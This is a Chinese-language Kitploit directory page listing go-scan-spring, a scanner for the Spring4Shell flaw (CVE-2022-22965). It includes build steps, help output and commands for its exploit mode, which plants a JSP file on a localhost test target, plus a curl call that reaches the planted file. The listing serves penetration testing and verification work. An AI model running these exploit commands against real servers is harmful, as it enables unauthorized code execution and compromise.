Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
go-scan-spring — Spring4Shell (CVE-2022-22965) 的漏洞扫描器 | Kitploit
工具/GitHubGitHub/fracturelabs/go-scan-spring
漏洞扫描器动态分析 (沙盒)漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubfracturelabs/go-scan-spring

go-scan-spring

Spring4Shell (CVE-2022-22965) 的漏洞扫描器

查看仓库
1224年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享


go-scan-spring

用于发现 Spring4Shell (CVE-2022-22965) 漏洞的漏洞扫描器

更多信息:https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/

@fracturelabs @brkr19


构建

root@kitploit:~
[~/opt] $ git clone https://github.com/fracturelabs/go-scan-spring.git
[~/opt] $ cd go-scan-spring

用法

帮助

root@kitploit:~
[~/opt/go-scan-spring] $ go run main.go help scan

Run a scan against target URLs looking for vulnerable services

Usage:
  go-scan-spring scan [flags]

Flags:
  -f, --file string         Target URL filename (- for stdin)
      --follow-redirect     Follow redirects
  -h, --help                help for scan
      --http-get            Test using HTTP GET requests (must set =false to disable) (default true)
      --http-post           Test using HTTP POST requests (must set =false to disable) (default true)
      --identifier string   Unique scan identifier (used as a password and an exploit filename) (default "go-scan-spring")
  -x, --proxy string        Upstream proxy
      --run-baseline        Run a baseline test to see if endpoint is up
      --run-exploit         Run an exploit to retrieve the owner of the Tomcat process
      --run-safe            Run a safe test to see if endpoint is vulnerable
  -s, --sleep int           Time to sleep between exploit steps. This is needed to allow time for deployment. (default 10)
  -t, --threads int         Number of threads (default 5)

Global Flags:
      --debug   enable debug logging

基本安全扫描

root@kitploit:~
[~/opt/go-scan-spring] $ go run main.go scan --run-safe -f urls.txt

基本安全利用

请使用你自己唯一的 identifier 参数!

root@kitploit:~
# 使用 HTTP GET 和 POST
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit

# 仅使用 HTTP GET
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-post=false

# 仅使用 HTTP POST
[~/opt/go-scan-spring] $ echo http://localhost:8080/spring4shell_victim/vulnerable | go run main.go scan -f - --identifier 550bafe0-0c6c-4f3e-a46b-0901c28e690b --run-exploit --http-get=false

验证

你可以通过针对一个故意存在漏洞的系统(例如 spring4shell_victim)进行测试,来验证脚本是否正常工作。

root@kitploit:~
[~] $ curl --output - 'http://localhost:8080/go-scan-spring/550bafe0-0c6c-4f3e-a46b-0901c28e690b-AD.jsp?pwd=550bafe0-0c6c-4f3e-a46b-0901c28e690b'

致谢

  • 整个结构以及多个函数大量借鉴自 SensePost 的出色项目 GoWitness。
  • 本工具中实现的安全检查受到 The Randori Attack Team 和 Zach Grace 的启发。
  • 感谢首个 PoC 的创建者——目前发展速度太快,暂时无法准确署名!
下载工具